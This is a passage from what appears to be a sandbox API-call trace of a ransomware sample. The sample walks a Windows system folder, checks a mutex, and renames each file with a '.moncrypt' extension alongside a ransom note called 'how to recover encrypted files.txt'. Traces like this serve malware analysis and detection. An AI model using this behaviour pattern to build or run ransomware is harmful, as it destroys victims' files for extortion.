lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.moncrypt" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.moncrypt")) returned 0 [0056.925] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34ea611, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34ea611, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa063b126, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0056.925] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.925] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.925] GlobalLock (hMem=0x440004) returned 0x550170 [0056.925] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.925] GlobalUnlock (hMem=0x440004) returned 0 [0056.925] GlobalLock (hMem=0x440004) returned 0x550170 [0056.925] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.925] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.925] GlobalUnlock (hMem=0x440004) returned 0 [0056.925] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.925] GlobalUnlock (hMem=0x44000c) returned 0 [0056.925] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.925] CharLowerBuffW (in: lpsz="adcvbs.inc", cchLength=0xa | out: lpsz="adcvbs.inc") returned 0xa [0056.925] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.925] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0056.925] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0056.925] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.926] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.926] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.926] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ví\x18", lpUsedDefaultChar=0x0) returned 1 [0056.926] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.926] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.926] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.926] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.926] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc", cchWideChar=53, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc", lpUsedDefaultChar=0x0) returned 53 [0056.926] CharLowerBuffW (in: lpsz=".inc", cchLength=0x4 | out: lpsz=".inc") returned 0x4 [0056.926] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inc", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".incdc\\adcvbs.inc", lpUsedDefaultChar=0x0) returned 4 [0056.926] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34ea611, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34ea611, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa063b126, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 0x54e200 [0056.926] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0056.926] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0056.926] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0056.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc", dwFileAttributes=0x20) returned 0 [0056.927] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0056.927] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.moncrypt" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.moncrypt")) returned 0 [0056.927] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0056.927] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cac9e93, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x2cac9e93, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x2cac9e93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x0, dwReserved1=0x0, cFileName="handler.reg", cAlternateFileName="")) returned 1 [0056.927] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.927] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.927] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.927] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.927] GlobalUnlock (hMem=0x44000c) returned 0 [0056.927] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.927] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.927] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.927] GlobalUnlock (hMem=0x44000c) returned 0 [0056.927] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.928] GlobalUnlock (hMem=0x440004) returned 0 [0056.928] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.928] CharLowerBuffW (in: lpsz="handler.reg", cchLength=0xb | out: lpsz="handler.reg") returned 0xb [0056.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0056.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.928] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\msadc\\handler.reg", cchWideChar=54, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\msadc\\handler.regc", lpUsedDefaultChar=0x0) returned 54 [0056.928] CharLowerBuffW (in: lpsz=".reg", cchLength=0x4 | out: lpsz=".reg") returned 0x4 [0056.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".reg", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".regdc\\handler.regc", lpUsedDefaultChar=0x0) returned 4 [0056.929] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\handler.reg", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cac9e93, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x2cac9e93, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x2cac9e93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x0, dwReserved1=0x0, cFileName="handler.reg", cAlternateFileName="")) returned 0x54e200 [0056.929] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0056.929] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0056.929] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0056.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\handler.reg", dwFileAttributes=0x20) returned 0 [0056.939] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0056.939] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\msadc\\handler.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\handler.reg.moncrypt" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg.moncrypt")) returned 0 [0056.941] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x2d63e7d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="handsafe.reg", cAlternateFileName="")) returned 1 [0056.941] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.941] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.941] GlobalLock (hMem=0x440004) returned 0x550170 [0056.941] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.941] GlobalUnlock (hMem=0x440004) returned 0 [0056.942] GlobalLock (hMem=0x440004) returned 0x550170 [0056.942] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.942] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.942] GlobalUnlock (hMem=0x440004) returned 0 [0056.942] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.942] GlobalUnlock (hMem=0x44000c) returned 0 [0056.943] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.943] CharLowerBuffW (in: lpsz="handsafe.reg", cchLength=0xc | out: lpsz="handsafe.reg") returned 0xc [0056.943] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.943] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.943] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0056.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.946] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg", cchWideChar=55, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg", lpUsedDefaultChar=0x0) returned 55 [0056.947] CharLowerBuffW (in: lpsz=".reg", cchLength=0x4 | out: lpsz=".reg") returned 0x4 [0056.956] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".reg", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".regdc\\handsafe.reg", lpUsedDefaultChar=0x0) returned 4 [0056.956] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x2d63e7d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="handsafe.reg", cAlternateFileName="")) returned 0x54e200 [0056.956] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0056.956] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0056.956] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0056.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg", dwFileAttributes=0x20) returned 0 [0056.957] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0056.957] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg.moncrypt" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg.moncrypt")) returned 0 [0056.957] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b36a80d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b36a80d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b6180d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0056.957] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.957] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.957] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.957] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.957] GlobalUnlock (hMem=0x44000c) returned 0 [0056.957] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.958] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.958] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.958] GlobalUnlock (hMem=0x44000c) returned 0 [0056.958] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.958] GlobalUnlock (hMem=0x440004) returned 0 [0056.958] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.958] CharLowerBuffW (in: lpsz="msadce.dll", cchLength=0xa | out: lpsz="msadce.dll") returned 0xa [0056.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, 